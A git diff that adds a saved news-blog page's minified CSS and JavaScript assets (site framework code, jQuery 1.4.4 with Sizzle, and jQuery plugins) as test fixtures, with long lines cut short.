+.share_menu #gplus{position:relative;margin-left:0;top:2px}#page .share_menu{display:none;position:absolute;top:27px;right:10px;width:164px;z-index:10}.classic_frontpage #page .share_menu,.bydate #page .share_menu{right:auto;left:0}#page .share_menu ul:after{content:'';display:block;width:21px;height:8px;position:absolute;top:-8px;left:18px;background:transparent url('/assets/base.v10/img/ui/dropdown-point.png?hash=adfc3') no-repeat}.classic_frontpage #page .share_menu ul:after,.bydate # [...]
+.illustration.top{margin-bottom:13px;overflow:hidden;height:360px}.illustration.video{height:auto;min-height:360px}#illustration_overlay{position:absolute;left:-80px;top:0;overflow:hidden;z-index:1000}.illustration .videoOverlay{display:block;position:absolute;width:111px;height:83px;margin:263px 0 0 15px;background-image:url('/assets/base.v10.static/img/icon-play-large.png?hash=9dc75')}.search .illustration .videoOverlay,.postspage .illustration .videoOverlay,.adlist .illustration .vide [...]
+.post .content p img.v10_315,.post .content p img.v10_medium,.post .content p img.image340,.post .content p img.image315,.post .content p img.image500{width:300px}.post .editorial{position:relative;float:right;margin:7px 0 10px 10px}.post .sponsored_editorial{float:right;margin-top:28px}.quicklink.post .lyteboxContainer{margin:0 20px 20px 0}.post .content h3{font-weight:normal}.post .post-body h3{margin-top:18px}.post .content hr{border:0 #ddd solid;border-top-width:1px;height:0;margin:1 [...]
+.frontpage .splashposts li.expanded h2 a,.frontpage .splashposts li.expanded h1 a,.splashposts li h1{font-size:21px}.frontpage .splashposts li h1,.frontpage .splashposts li h2{font-size:13px;line-height:1.3}.illustration{position:relative;float:none;margin-left:0}.illustration img{display:block}.illustration .taglink{position:absolute;bottom:0;left:0;padding:2px 5px;height:18px;background-color:rgba(255,255,255,.75);display:block;color:#fff!important;text-rendering:optimizeLegibility;z-i [...]
+#post_list li .text span.views{background-image:url('/assets/base.v10/img/icons/rightbar.flame.png?hash=964e0');padding-right:13px;background-position:right 2px;width:62px}#post_list li .text span.uniques{background-image:url('/assets/base.v10/img/icons/rightbar.unique.png?hash=4cfed');padding-right:13px;background-position:right 2px;width:62px}#post_list li .thumb{float:left;margin:3px 13px 3px 0;display:block}#post_list li a.thumbLink{display:block;position:relative}#post_list li a.thu [...]
+#skin_ad_info .ad_info{width:630px}.iconmeta{color:#aaa;font-size:12px;margin-top:3px}.customObject.framed{background-color:#f0f0f0;background:-moz-linear-gradient(-90deg,#fff,#f0f0f0) repeat scroll 0 0 transparent;background:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f0f0f0)) repeat scroll 0 0 transparent;border:1px solid #ccc;display:block;float:left;height:100px;margin:20px 40px 20px 0;width:298px;text-align:center}.customObject.framed a{margin-top:16px;padding-top:45 [...]
+.customHtmlObject.pollDaddy .pds-pd-link{display:none}.customHtmlObject.pollDaddy.pollDaddy-new .pds-box{background-color:transparent;border:0;margin:0;padding:15px;color:#333;font-family:verdana,sans-serif}.customHtmlObject.pollDaddy.pollDaddy-new{border-style:solid;border-width:0;border-top-width:2px}.customHtmlObject.pollDaddy.pollDaddy-new .pds-answer-group{clear:both;display:block;padding-top:5px}.customHtmlObject.pollDaddy.pollDaddy-new .pds-answer-input{margin-right:5px;float:left [...]
+#sitetags .site{width:130px;float:left;margin-right:40px;text-align:left;margin-bottom:1.5em}#sitetags .site p a{color:#000}#sitetags .site.last{margin-right:0}#sitetags .site.first{clear:left}#sitetags .current-site.site{width:640px;margin-right:0;position:relative}#sitetags .heading{display:block;height:35px;overflow:hidden;width:130px}#sitetags .heading img{position:relative;top:2px;left:2px}#sitetags .heading span{display:none}#sitetags .current-site .heading{width:640px;margin-botto [...]
+div.ui-dropdown ul:after{content:'';display:block;width:21px;height:8px;position:absolute;top:-8px;right:13px;background:transparent url(/assets/base.v10/img/ui/dropdown-point.png?hash=adfc3) no-repeat}div.ui-dropdown ul li a{padding:10px 10px;line-height:1;display:block;border-bottom:1px solid #efefef;border-color:#efefef!important;text-decoration:none}div.ui-dropdown ul li:last-child a{border-bottom:0}div.ui-dropdown ul li a span{padding-left:22px}div.ui-dropdown ul li a:hover span{tex [...]
+.author-contact li a.twitter span{background:url("/assets/base.v10/img/ui/menu-twitter.png?hash=3af93") no-repeat 0 0 transparent}.author-contact li a.email span{background:url("/assets/base.v10/img/ui/menu-mail.png?hash=d62a2") no-repeat 0 0 transparent}.author-contact li a.gplus span{background:url("/assets/base.v10/img/ui/menu-googleplus.png?hash=67fbd") no-repeat 0 0 transparent}.author-contact li a.rss span{background:url("/assets/base.v10/img/ui/menu-rss.png?hash=10fdb") no-repeat [...]
+#map-info{margin:1em 0 0;font-size:15px;line-height:21px}#map-info p{margin-bottom:.2em}#infoboxes{width:100%;clear:both;padding-top:5px}.html5 #infoboxes .row{display:-webkit-box;display:-moz-box;display:box;-webkit-box-orient:horizontal;-moz-box-orient:horizontal;box-orient:horizontal}#infoboxes .infobox{width:198px;float:left;margin:0 20px 20px 0;cursor:pointer;position:relative;border:1px solid #CCC;border-radius:5px}.html5 #infoboxes .infobox{float:none;-webkit-box-flex:1;-moz-box-f [...]
+.dialog.register{width:460px}.dialog.register form .row input[type="text"],.dialog.register form .row input[type="password"]{width:200px}.dialog.guestpanel{width:550px}.dialog.cn_starinvite_dialog form label{vertical-align:top}.dialog.register .oauth-links{float:left}.dialog.register .oauth-links a img{margin:0 6px 0 0;border:0}.dialog .row .gbut{margin-left:10px}.dialog .row .gbut.thin .gbtx{height:18px}.agegate_container{border-right:1px solid #cfcfcf;border-bottom:1px solid #cfcfcf;te [...]
+.login .pwlogin{margin:0 -20px 0}.modalpopup .legend{padding:0 10px;background-color:#f8f8f8;font-size:13px;text-transform:uppercase;font-weight:bold;position:absolute;top:-9px;left:130px}.login .legend{background-color:#fdfdfd}.modalpopup .small{display:block;text-align:right;font-size:11px;margin:3px 3px 0 0}.modalpopup .validationmessage,.modalpopup .cn_loginmessage span,.modalpopup .cn_resetpwmessage strong,.modalpopup .cn_profileedit_message strong{position:absolute;width:100%;text- [...]
+.modalpopup.burnersuccesspanel .button{padding:0 10px;line-height:29px;font-weight:bold}.modalpopup.burnersuccesspanel #burnerToken{display:inline-block}.modalpopup.dialog.logindialog form{text-align:left}.modalpopup.dialog.logindialog .inner .text .footer{clear:both;font-size:13px;text-align:right;padding-left:20px;padding-right:20px;margin-top:20px}.modalpopup.dialog.logindialog .inner .text .footer .control-back{float:left}.modalpopup.logindialog .validationmessage{margin:0;padding:5p [...]
+.modalpopup.oauthclaim_dialog .forgotpassword{display:block;margin:11px 0 0 109px}.modalpopup.oauthclaim_dialog .validationmessage{bottom:56px}.modalpopup.resetpw_dialog label{width:90px}.modalpopup.resetpw_dialog .captcha{padding-left:40px}.modalpopup.resetpw_dialog .row.submit{text-align:center;margin-bottom:0}.modalpopup.resetpw_dialog .validationmessage{bottom:56px}.modalpopup.converted_dialog .row.submit{text-align:center}.modalpopup.login_dialog form label{width:95px}.modalpopup.lo [...]
+.comment .shortcomment_explained:after{content:'';display:block;width:8px;height:21px;position:absolute;top:6px;right:-8px;background:transparent url(/assets/base.v10/img/ui/dropdown-right.png?hash=83f1c) no-repeat}.comment.self .header cite{-moz-border-radius:3px;border-radius:3px;background-color:rgba(0,0,0,0.5);color:#fff;padding:4px 6px;position:relative;top:1px}.webkit .comment.self .header cite{top:2px}.comment.self .header cite a{color:#fff}.ie .self .header cite{background-color: [...]
+#comments .ad.leaderboard .ledge{position:absolute;left:-1px;top:-16px}.event .smalltype{color:#666}.threadnav{margin:0 15px 1em 0;width:640px;border:1px solid #ccc;border-width:1px 0 0}.threadfooter .gbut.cn_threadexpand{margin-right:.5em;text-transform:uppercase}#comments .inprogress{opacity:.4}.comment .modalpopup{border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;box-shadow:0 0 6px #000;box-shadow:0 0 6px rgba(0,0,0,0.5);-moz-box-shadow:0 0 6px rgba(0,0,0,0.5);-webkit [...]
+#postform_widget form textarea{height:50px;padding:7px 5px}#postform_widget form .format-tools+textarea{border-top:0;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;margin-top:0}#postform_widget label,#postform_widget form label{display:inline-block;margin-bottom:5px;color:#444}#postform_widget form .actions{margin-bottom:1em;width:100%;float:left}#postform_widget form .actions .left{float:left;width:50%}#postform_widget form .actions .right{flo [...]
+.user-profile .profile-header{position:relative;float:left;width:100%;margin-bottom:1em}.user-profile .profile-header img.CommenterImage{float:left;margin:0 1em 0 0}.user-profile .profile-header h2{margin-bottom:0}.user-profile .profile-header h2 a{margin:0 3px 0 0;color:#000}.user-profile .profile-header h2 a.icon_admin{display:none}.user-profile .profile-header .icon_star{position:absolute;top:41px;left:41px}.user-profile .commenter_tools{margin-left:63px}.user-profile .postlist .threa [...]
+.gallery-preview+br[clear='all']{display:none}#gallery_container img{max-height:360px}#thumbs .inactive{opacity:.15}#thumbs .inactive:hover,#thumbs .inactive:active,#thumbs .inactive:focus{background-color:#e5e5e5}#glOverlay,#glBox,#glBox .glinside{position:fixed;top:0;left:0;bottom:0;right:0}#glOverlay{background-color:#000;opacity:.9;z-index:999998}#glBox,#glBox .glinside{z-index:999999}#glBox .glinside{text-align:center}#glBox .glimage{max-width:100%}#glBox .gltitle{color:#fff}#glBox [...]
+#bfw table.deals span.specials{padding-right:10px}#bfw table.deals span.specials:last-of-type{padding-right:0}#bfw table.deals tr.expired td *{color:black!important}#bfw table.deals tr.expired td>*{opacity:.3}#bfw table.deals tr.expired .expire{opacity:1;color:#c00!important;font-weight:bold}#bfw table.deals tr.expired .wishlist .icon-wishlist{display:none}#bfw .icon-rating{display:inline-block;width:45px;height:15px;overflow:hidden;margin-top:2px;background-image:url('/assets/blackfrida [...]
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/base.v10.static.framework.20130118.js b/src/test/resources/s/deadspin_files/base.v10.static.framework.20130118.js
new file mode 100644
index 0000000..22c6be6
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/base.v10.static.framework.20130118.js
@@ -0,0 +1,6 @@
+(function(){var a=false,b=/xyz/.test(function(){xyz})?/\b_super\b/:/.*/;this.gClass=function(){};gClass.extend=function(g){var f=this.prototype;a=true;var e=new this();a=false;for(var d in g){e[d]=typeof g[d]=="function"&&typeof f[d]=="function"&&b.test(g[d])?(function(h,i){return function(){var k=this._super;this._super=f[h];var j=i.apply(this,arguments);this._super=k;return j}})(d,g[d]):g[d]}function c(){if(!a&&this.initialize){this.initialize.apply(this,arguments)}}c.prototype=e;c.con [...]
+}else{this.listeners[what]=[{fn:fn,target:which_object}]}if(this.event_history[what]){var l=this.event_history[what].length;if(last_n==undefined){last_n=1}if(last_n>=0){var i=l-last_n}else{var i=0}for(;i<l;i++){try{if(this.event_history[what][i]["notifyOnly"]){if(this.event_history[what][i]["notifyOnly"]===which_object){fn(this.event_history[what][i])}}else{fn(this.event_history[what][i])}}catch(ex){}}}},notify:function(ev){var name_parts=ev.name.split(".");var key="";for(var i=0,l=name_ [...]
+jQuery.cookie("usrev",rev,{path:"/",expires:30});return rev},handleAjaxFail:function(xr,errorcode){switch(errorcode){case"timeout":default:EventDispatcher.notify({name:"user.auth.failure",source:this});break}},fireLogoutEvent:function(){EventDispatcher.notify({name:"user.auth.failure",source:this})},fireSsoLogoutEvent:function(data){this.ssoUser=null;EventDispatcher.notify({name:"user.auth.ssoFailure",source:data})},handleAjaxSuccess:function(data){if(data.meta!==undefined&&data.data!==u [...]
+obj.widget.raiseEvent("dialog.afterOpen."+params.which,params);if(whichpanel.focus){whichpanel.focus.focus()}if(params.sync_this){params.sync_this()}}})}});this.groups[params.group].state="active:"+params.which}}}if(params.cancel){this.cancel_callback=params.cancel}else{this.cancel_callback=""}return"will_sync"}};return{options:{effectsSlideSpeed:300},auth:GawkerAuth,commondialogs:CommonDialogs,feature:Feature,mystate:"init",_init:function(){this.resetElements();this.commondialogs.widget [...]
+},hideIndicator:function(){jQuery(".indicator",this.element).hide()},getUrlParams:function(){var retVal={};var paramStr=location.search;if(paramStr.length>0){paramStr=paramStr.substr(1)}if(location.hash.indexOf("?")!=-1){var parts=location.hash.split("?",2);paramStr+=(paramStr.length>0?"&":"")+parts[1]}if(paramStr.length>0){var items=paramStr.split("&");for(var i=0;i<items.length;i++){var name=items[i].split("=",1);if(!name.length){continue}name=name[0];var value=items[i].substr(name.len [...]
+if(this.options.effects[c]){switch($type(this.options.effects[c])){case"function":a=this.options.effects[c];break;case"object":if(this.options.effects[c][b]){a=this.options.effects[c][b]}break}}var e=a(d);return{show:e[0],hide:e[1]}},setupErrorDiv:function(b,c){for(var a in this.options.validators){if(this.options.validators.hasOwnProperty(a)){if(b.className.indexOf("msg_"+a)>-1){this.input_fields[c.name][a]=this.setupErrorEffects(b,c.name,a)}}}},testRule:function(c,b){var a=this.options [...]
diff --git a/src/test/resources/s/deadspin_files/base.v10.static.jquery.20130118.js b/src/test/resources/s/deadspin_files/base.v10.static.jquery.20130118.js
new file mode 100644
index 0000000..6f2c91a
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/base.v10.static.jquery.20130118.js
@@ -0,0 +1,42 @@
+/*!
+ * jQuery JavaScript Library v1.4.4
+ * http://jquery.com/
+ *
+ * Copyright 2010, John Resig
+ * Dual licensed under the MIT or GPL Version 2 licenses.
+ * http://jquery.org/license
+ *
+ * Includes Sizzle.js
+ * http://sizzlejs.com/
+ * Copyright 2010, The Dojo Foundation
+ * Released under the MIT, BSD, and GPL Licenses.
+ *
+ * Date: Thu Nov 11 19:04:53 2010 -0500
+ */
+(function(aC,z){var Y=aC.document;var a=(function(){var a2=function(bn,bo){return new a2.fn.init(bn,bo)},bi=aC.jQuery,a4=aC.$,a0,bm=/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)/,aV=/^.[^:#\[\.,]*$/,ba=/\S/,aX=/\s/,a6=/^\s+/,a1=/\s+$/,aS=/\W/,a5=/\d/,aY=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,bb=/^[\],:{}\s]*$/,bk=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,bd=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,a7=/(?:^|:|,)(?:\s*\[)+/g,aU=/(webkit)[ \/]([\w.]+)/,bf=/(opera)(?:.*version)?[ \/]( [...]
+},isPlainObject:function(bo){if(!bo||a2.type(bo)!=="object"||bo.nodeType||a2.isWindow(bo)){return false}if(bo.constructor&&!a3.call(bo,"constructor")&&!a3.call(bo.constructor.prototype,"isPrototypeOf")){return false}var bn;for(bn in bo){}return bn===z||a3.call(bo,bn)},isEmptyObject:function(bo){for(var bn in bo){return false}return true},error:function(bn){throw bn},parseJSON:function(bn){if(typeof bn!=="string"||!bn){return null}bn=a2.trim(bn);if(bb.test(bn.replace(bk,"@").replace(bd,"] [...]
+try{aV.appendChild(Y.createTextNode("window."+aQ+"=1;"))}catch(aT){}aW.insertBefore(aV,aW.firstChild);if(aC[aQ]){a.support.scriptEval=true;delete aC[aQ]}try{delete aV.test}catch(aT){a.support.deleteExpando=false}aW.removeChild(aV);if(aP.attachEvent&&aP.fireEvent){aP.attachEvent("onclick",function a0(){a.support.noCloneEvent=false;aP.detachEvent("onclick",a0)});aP.cloneNode(true).fireEvent("onclick")}aP=Y.createElement("div");aP.innerHTML="<input type='radio' name='radiotest' checked='che [...]
+a.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};a.fn.extend({attr:function(aP,aQ){return a.access(this,aP,aQ,true,a.attr)},removeAttr:function(aP,aQ){return this.each(function(){a.attr(this,aP,"");if(this.nodeType===1){this.removeAttribute(aP)}})},addClass:function(aW){if(a.isFunction(aW)){return this.each(function(aZ){var aY= [...]
+}var aP=aT.nodeType?"events":"__events__",a2=aY[aP],aW=aY.handle;if(typeof a2==="function"){aW=a2.handle;a2=a2.events}else{if(!a2){if(!aT.nodeType){aY[aP]=aY=function(){}}aY.events=a2={}}}if(!aW){aY.handle=aW=function(){return typeof a!=="undefined"&&!a.event.triggered?a.event.handle.apply(aW.elem,arguments):z}}aW.elem=aT;aX=aX.split(" ");var a0,aU=0,aQ;while((a0=aX[aU++])){a1=aR?a.extend({},aR):{handler:a3,data:aV};if(a0.indexOf(".")>-1){aQ=a0.split(".");a0=aQ.shift();a1.namespace=aQ.sl [...]
+}if(aS.pageX==null&&aS.clientX!=null){var aT=Y.documentElement,aP=Y.body;aS.pageX=aS.clientX+(aT&&aT.scrollLeft||aP&&aP.scrollLeft||0)-(aT&&aT.clientLeft||aP&&aP.clientLeft||0);aS.pageY=aS.clientY+(aT&&aT.scrollTop||aP&&aP.scrollTop||0)-(aT&&aT.clientTop||aP&&aP.clientTop||0)}if(aS.which==null&&(aS.charCode!=null||aS.keyCode!=null)){aS.which=aS.charCode!=null?aS.charCode:aS.keyCode}if(!aS.metaKey&&aS.ctrlKey){aS.metaKey=aS.ctrlKey}if(!aS.which&&aS.button!==z){aS.which=(aS.button&1?1:(aS. [...]
+aX=z}var aU=aP==="one"?a.proxy(aV,function(aY){a(this).unbind(aY,aU);return aV.apply(this,arguments)}):aV;if(aW==="unload"&&aP!=="one"){this.one(aW,aX,aV)}else{for(var aS=0,aR=this.length;aS<aR;aS++){a.event.add(this[aS],aW,aU,aX)}}return this}});a.fn.extend({unbind:function(aT,aS){if(typeof aT==="object"&&!aT.preventDefault){for(var aR in aT){this.unbind(aR,aT[aR])}}else{for(var aQ=0,aP=this.length;aQ<aP;aQ++){a.event.remove(this[aQ],aT,aS)}}return this},delegate:function(aP,aQ,aS,aR){r [...]
+/*!
+ * Sizzle CSS Selector Engine - v1.0
+ * Copyright 2009, The Dojo Foundation
+ * Released under the MIT, BSD, and GPL Licenses.
+ * More information: http://sizzlejs.com/
+ */
+}(function(){var a4=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,aX=0,aS=Object.prototype.toString,a3=false,aW=true;[0,0].sort(function(){aW=false;return 0});var aQ=function(bb,a6,be,bf){be=be||[];a6=a6||Y;var bh=a6;if(a6.nodeType!==1&&a6.nodeType!==9){return[]}if(!bb||typeof bb!=="string"){return be}var a8,bj,bm,a7,bi,bl,bk,bd,ba=true,a9=aQ.isXML(a6),bc=[],bg=bb;do{a4.exec("");a8=a4.exec(bg);if(a8){ [...]
+a6=bi.expr?aQ.filter(bi.expr,bi.set)[0]:bi.set[0]}if(a6){bi=bf?{expr:bc.pop(),set:aP(bf)}:aQ.find(bc.pop(),bc.length===1&&(bc[0]==="~"||bc[0]==="+")&&a6.parentNode?a6.parentNode:a6,a9);bj=bi.expr?aQ.filter(bi.expr,bi.set):bi.set;if(bc.length>0){bm=aP(bj)}else{ba=false}while(bc.length){bl=bc.pop();bk=bl;if(!aT.relative[bl]){bl=""}else{bk=bc.pop()}if(bk==null){bk=a6}aT.relative[bl](bm,bk,a9)}}else{bm=bc=[]}}if(!bm){bm=bj}if(!bm){aQ.error(bl||bb)}if(aS.call(bm)==="[object Array]"){if(!ba){b [...]
+if(!bc&&aT.attrMap[a9]){ba[1]=aT.attrMap[a9]}if(ba[2]==="~="){ba[4]=" "+ba[4]+" "}return ba},PSEUDO:function(ba,a7,a8,a6,bb){if(ba[1]==="not"){if((a4.exec(ba[3])||"").length>1||/^\w/.test(ba[3])){ba[3]=aQ(ba[3],null,null,a7)}else{var a9=aQ.filter(ba[3],a7,a8,true^bb);if(!a8){a6.push.apply(a6,a9)}return false}}else{if(aT.match.POS.test(ba[0])||aT.match.CHILD.test(ba[0])){return true}}return ba},POS:function(a6){a6.unshift(true);return a6}},filters:{enabled:function(a6){return a6.disabled= [...]
+}}aQ.getText=function(a6){var a7="",a9;for(var a8=0;a6[a8];a8++){a9=a6[a8];if(a9.nodeType===3||a9.nodeType===4){a7+=a9.nodeValue}else{if(a9.nodeType!==8){a7+=aQ.getText(a9.childNodes)}}}return a7};(function(){var a7=Y.createElement("div"),a8="script"+(new Date()).getTime(),a6=Y.documentElement;a7.innerHTML="<a name='"+a8+"'/>";a6.insertBefore(a7,a6.firstChild);if(Y.getElementById(a8)){aT.find.ID=function(ba,bb,bc){if(typeof bb.getElementById!=="undefined"&&!bc){var a9=bb.getElementById(b [...]
+},closest:function(aZ,aQ){var aW=[],aT,aR,aY=this[0];if(a.isArray(aZ)){var aV,aS,aU={},aP=1;if(aY&&aZ.length){for(aT=0,aR=aZ.length;aT<aR;aT++){aS=aZ[aT];if(!aU[aS]){aU[aS]=a.expr.match.POS.test(aS)?a(aS,aQ||this.context):aS}}while(aY&&aY.ownerDocument&&aY!==aQ){for(aS in aU){aV=aU[aS];if(aV.jquery?aV.index(aY)>-1:a(aY).is(aV)){aW.push({selector:aS,elem:aY,level:aP})}}aY=aY.parentNode;aP++}}return aW}var aX=x.test(aZ)?a(aZ,aQ||this.context):null;for(aT=0,aR=this.length;aT<aR;aT++){aY=thi [...]
+},append:function(){return this.domManip(arguments,true,function(aP){if(this.nodeType===1){this.appendChild(aP)}})},prepend:function(){return this.domManip(arguments,true,function(aP){if(this.nodeType===1){this.insertBefore(aP,this.firstChild)}})},before:function(){if(this[0]&&this[0].parentNode){return this.domManip(arguments,false,function(aQ){this.parentNode.insertBefore(aQ,this)})}else{if(arguments.length){var aP=a(arguments[0]);aP.push.apply(aP,this.toArray());return this.pushStack( [...]
+aZ++){if(typeof aU==="number"){aU+=""}if(!aU){continue}if(typeof aU==="string"&&!J.test(aU)){aU=aT.createTextNode(aU)}else{if(typeof aU==="string"){aU=aU.replace(G,"<$1></$2>");var a2=(b.exec(aU)||["",""])[1].toLowerCase(),aS=Z[a2]||Z._default,aY=aS[0],aQ=aT.createElement("div");aQ.innerHTML=aS[1]+aU+aS[2];while(aY--){aQ=aQ.lastChild}if(!a.support.tbody){var aP=p.test(aU),aX=a2==="table"&&!aP?aQ.firstChild&&aQ.firstChild.childNodes:aS[1]==="<table>"&&!aP?aQ.childNodes:[];for(var aW=aX.le [...]
+}if(aP==="margin"){aS+=parseFloat(a.css(aR,"margin"+this))||0}else{aS-=parseFloat(a.css(aR,"border"+this+"Width"))||0}});return aS}if(a.expr&&a.expr.filters){a.expr.filters.hidden=function(aR){var aQ=aR.offsetWidth,aP=aR.offsetHeight;return(aQ===0&&aP===0)||(!a.support.reliableHiddenOffsets&&(aR.style.display||a.css(aR,"display"))==="none")};a.expr.filters.visible=function(aP){return !a.expr.filters.hidden(aP)}}var ab=a.now(),ay=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,l=/^( [...]
+}if(a.etag[aZ.url]){aV.setRequestHeader("If-None-Match",a.etag[aZ.url])}}if(!aT){aV.setRequestHeader("X-Requested-With","XMLHttpRequest")}aV.setRequestHeader("Accept",aZ.dataType&&aZ.accepts[aZ.dataType]?aZ.accepts[aZ.dataType]+", */*; q=0.01":aZ.accepts._default)}catch(aW){}if(aZ.beforeSend&&aZ.beforeSend.call(aZ.context,aV,aZ)===false){if(aZ.global&&a.active--===1){a.event.trigger("ajaxStop")}aV.abort();return false}if(aZ.global){a.triggerGlobal(aZ,"ajaxSend",[aV,aZ])}var aY=aV.onready [...]
+a(this)[aT?"show":"hide"]()})}else{this.animate(au("toggle",3),aR,aQ,aS)}}return this},fadeTo:function(aP,aS,aR,aQ){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:aS},aP,aR,aQ)},animate:function(aT,aQ,aS,aR){var aP=a.speed(aQ,aS,aR);if(a.isEmptyObject(aT)){return this.each(aP.complete)}return this[aP.queue===false?"each":"queue"](function(){var aW=a.extend({},aP),a0,aX=this.nodeType===1,aY=aX&&a(this).is(":hidden"),aU=this;for(a0 in aT){var aV=a.camelCase(a0 [...]
+if(aP!==true){var aS=aR.splice(aQ--,1);if(typeof aP!=="boolean"){aP.call(aS[0].elem)}}}if(!aR.length){a.fx.stop()}},interval:13,stop:function(){clearInterval(aw);aw=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(aP){a.style(aP.elem,"opacity",aP.now)},_default:function(aP){if(aP.elem.style&&aP.elem.style[aP.prop]!=null){aP.elem.style[aP.prop]=(aP.prop==="width"||aP.prop==="height"?Math.max(0,aP.now):aP.now)+aP.unit}else{aP.elem[aP.prop]=aP.now}}}});if(a.expr&&a.expr. [...]
+return{top:aS.top-aP.top,left:aS.left-aP.left}},offsetParent:function(){return this.map(function(){var aP=this.offsetParent||Y.body;while(aP&&(!N.test(aP.nodeName)&&a.css(aP,"position")==="static")){aP=aP.offsetParent}return aP})}});a.each(["Left","Top"],function(aQ,aP){var aR="scroll"+aP;a.fn[aR]=function(aU){var aS=this[0],aT;if(!aS){return null}if(aU!==z){return this.each(function(){aT=ag(this);if(aT){aT.scrollTo(!aQ?aU:a(aT).scrollLeft(),aQ?aU:a(aT).scrollTop())}else{this[aR]=aU}})}e [...]
+},focusable:function(b){var a=b.nodeName.toLowerCase(),c=p.attr(b,"tabindex");return(/input|select|textarea|button|object/.test(a)?!b.disabled:"a"==a||"area"==a?b.href||!isNaN(c):!isNaN(c))&&!p(b)["area"==a?"parents":"closest"](":hidden").length},tabbable:function(a){var b=p.attr(a,"tabindex");return(isNaN(b)||b>=0)&&p(a).is(":focusable")}});function l(a,f,e,b){function c(g){var h=p[a][f][g]||[];return(typeof h=="string"?h.split(/,?\s+/):h)}var d=c("getter");if(b.length==1&&typeof b[0]== [...]
+},_mouseStart:function(a){},_mouseDrag:function(a){},_mouseStop:function(a){},_mouseCapture:function(a){return true}};p.ui.mouse.defaults={cancel:null,distance:1,delay:0}})(jQuery);
diff --git a/src/test/resources/s/deadspin_files/base.v10.static.jqueryplugin.20130118.js b/src/test/resources/s/deadspin_files/base.v10.static.jqueryplugin.20130118.js
new file mode 100644
index 0000000..a8153f2
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/base.v10.static.jqueryplugin.20130118.js
@@ -0,0 +1,45 @@
+jQuery.comparePosition=function(b,a){jQuery.comparePosition=document.documentElement.compareDocumentPosition?function(d,c){return !!(d.compareDocumentPosition(c)&8)}:document.documentElement.contains?function(d,c){return d!=c&&c.contains(d)}:function(d,c){for(;d!=c;d=d.parentNode){if(!d){return false}}return true};return jQuery.comparePosition(b,a)};jQuery.fn.ancestorOf=function(a){return this.filter(function(){return jQuery.comparePosition(a,this)})};jQuery.fn.descendantOf=function(a){r [...]
+/*!
+ * jQuery postMessage - v0.5 - 9/11/2009
+ * http://benalman.com/projects/jquery-postmessage-plugin/
+ *
+ * Copyright (c) 2009 "Cowboy" Ben Alman
+ * Dual licensed under the MIT and GPL licenses.
+ * http://benalman.com/about/license/
+ */
+(function($){var b,d,l=1,a,f=this,g=!1,h="postMessage",c="addEventListener",e,k=f[h];$[h]=function(m,o,n){if(!o){return}m=typeof m==="string"?m:$.param(m);n=n||parent;if(k){n[h](m,o.replace(/([^:]+:\/\/[^\/]+).*/,"$1"))}else{if(o){n.location=o.replace(/#.*$/,"")+"#"+(+new Date)+(l++)+"&"+m}}};$.receiveMessage=e=function(o,n,m){if(k){if(o){a&&e();a=function(p){if((typeof n==="string"&&p.origin!==n)||($.isFunction(n)&&n(p.origin)===g)){return g}o(p)}}if(f[c]){f[o?c:"removeEventListener"](" [...]
+/*!
+ * jQuery throttle / debounce - v1.1 - 3/7/2010
+ * http://benalman.com/projects/jquery-throttle-debounce-plugin/
+ *
+ * Copyright (c) 2010 "Cowboy" Ben Alman
+ * Dual licensed under the MIT and GPL licenses.
+ * http://benalman.com/about/license/
+ */
+(function(b,c){var $=b.jQuery||b.Cowboy||(b.Cowboy={}),a;$.throttle=a=function(e,f,l,k){var h,d=0;if(typeof f!=="boolean"){k=l;l=f;f=c}function g(){var q=this,o=+new Date()-d,p=arguments;function n(){d=+new Date();l.apply(q,p)}function m(){h=c}if(k&&!h){n()}h&&clearTimeout(h);if(k===c&&o>e){n()}else{if(f!==true){h=setTimeout(k?m:n,k===c?e-o:e)}}}if($.guid){g.guid=l.guid=l.guid||$.guid++}return g};$.debounce=function(d,e,f){return f===c?a(d,e,false):a(d,f,e!==false)}})(this);jQuery.cookie [...]
+if(typeof n.expires=="number"){f=new Date();f.setTime(f.getTime()+(n.expires*24*60*60*1000))}else{f=n.expires}e="; expires="+f.toUTCString()}var m=n.path?"; path="+(n.path):"";var g=n.domain?"; domain="+(n.domain):"";var a=n.secure?"; secure":"";document.cookie=[b,"=",encodeURIComponent(k),e,m,g,a].join("")}else{var d=null;if(document.cookie&&document.cookie!=""){var l=document.cookie.split(";");for(var h=0;h<l.length;h++){var c=jQuery.trim(l[h]);if(c.substring(0,b.length+1)==(b+"=")){d= [...]
+P=B(P,O,N,M,Q[I+12],6,1700485571);M=B(M,P,O,N,Q[I+3],10,-1894986606);N=B(N,M,P,O,Q[I+10],15,-1051523);O=B(O,N,M,P,Q[I+1],21,-2054922799);P=B(P,O,N,M,Q[I+8],6,1873313359);M=B(M,P,O,N,Q[I+15],10,-30611744);N=B(N,M,P,O,Q[I+6],15,-1560198380);O=B(O,N,M,P,Q[I+13],21,1309151649);P=B(P,O,N,M,Q[I+4],6,-145523070);M=B(M,P,O,N,Q[I+11],10,-1120210379);N=B(N,M,P,O,Q[I+2],15,718787259);O=B(O,N,M,P,Q[I+9],21,-343485551);P=n(P,K);O=n(O,J);N=n(N,H);M=n(M,G)}return Array(P,O,N,M)}}function n(u,z){var w=( [...]
